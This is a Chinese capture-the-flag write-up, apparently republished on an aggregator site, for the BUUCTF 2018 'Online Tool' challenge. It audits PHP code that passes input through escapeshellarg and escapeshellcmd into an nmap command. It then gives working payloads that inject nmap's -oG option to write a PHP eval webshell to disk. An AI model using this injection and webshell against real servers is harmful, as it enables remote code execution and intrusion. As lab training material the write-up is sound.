概述
文章目录
- 利用点
- 代码审计
- 解题
- nmap写文件
- escapeshellarg() + escapeshellcmd()使用不当
- Payload
- 完
利用点
- nmap写文件
- escapeshellarg() + escapeshellcmd()使用不当
代码审计
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
传入的GET参数$host经过escapeshellarg和escapeshellcmd处理,然后拼接到已有的nmap指令执行
解题
nmap写文件
escape转义了特殊符号,这步是不能跳出来的,只能寄希望于nmap;查阅help文档发现nmap有output写文件的功能,那么就可以写入一句话木马来RCE
可以通过-oN
和-oG
参数写入文件
nmap '<?php eval($_POST[a]);?>' -oN 1.php
那就先试试-oN
escapeshellarg() + escapeshellcmd()使用不当
起一个本地环境
<?php
show_source(__FILE__);
$cmd = $_GET["cmd"];
echo '</br>';
echo $cmd;
$cmd = escapeshellarg($cmd);
echo '</br>';
echo $cmd;
$cmd = escapeshellcmd($cmd);
echo '</br>';
echo $cmd;
echo '</br>';
echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$cmd;
直接传入'<?php eval($_POST[a]);?>' -oN 1.php
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?>' -oN 1.php
'' -oN 1.php
''''''' -oN 1.php'
''\''<?php eval($_POST[a]);?>'\'' -oN 1.php'
nmap -T5 -sT -Pn --host-timeout 2 -F ''\''<?php eval($_POST[a]);?>'\'' -oN 1.php'
执行的命令可以简化为:
nmap <?php eval($_POST[a]); ?>'\'' -oN 1.php'
可以看见两个由于两个函数依次处理,会造成后部有引号残留问题导致命令被截断
PHP escapeshellarg()+escapeshellcmd() 之殇
那么我们将引号从-oN
之前转移到最后,即传入'<?php eval($_POST[a]);?> -oN 1.php'
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php'
' -oN 1.php'
'''' -oN 1.php''''
''\'' <?php eval($_POST[a]);?> -oN 1.php'\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' <?php eval($_POST[a]);?> -oN 1.php'\'''
相当于直接运行:
nmap <?php eval($_POST[a]);?> -oN 1.php'\'
但是,这一步出错了,在于写文件名把最后的斜杠写进去了
那么我们只要在末尾引号前加一个空格即可:传入'<?php eval($_POST[a]);?> -oN 1.php '
,目的是截断引号
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php '
' -oN 1.php '
'''' -oN 1.php ''''
''\''<?php eval($_POST[a]);?> -oN 1.php '\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\''<?php eval($_POST[a]);?> -oN 1.php '\'''
相当于直接运行:
nmap <?php eval($_POST[a]);?> -oN 1.php '\'
这里的文件名就正常了
上传后提示出错,应该是由于-oN
写入了所有提示信息,因此写入无效的句点
这些无效的句点被PHP解析了所以出错了
那么我们换成-oG
参数,我们可以看一下两个参数写入的区别:
使用-oG
的内容没有报错信息,那么写入的一句话木马就是完整且不会解析出错的,因此我们传入'<?php eval($_POST[a]);?> -oG 1.php '
,蚁剑连接即可
Payload
[GET]http://URL/?host='<?php eval($_POST[a]);?> -oG 1.php '
完
欢迎在评论区留言,欢迎关注我的CSDN @Ho1aAs
最后
以上就是妩媚母鸡为你收集整理的『CTF Web复现』[BUUCTF 2018]Online Tool利用点代码审计解题Payload完的全部内容,希望文章能够帮你解决『CTF Web复现』[BUUCTF 2018]Online Tool利用点代码审计解题Payload完所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复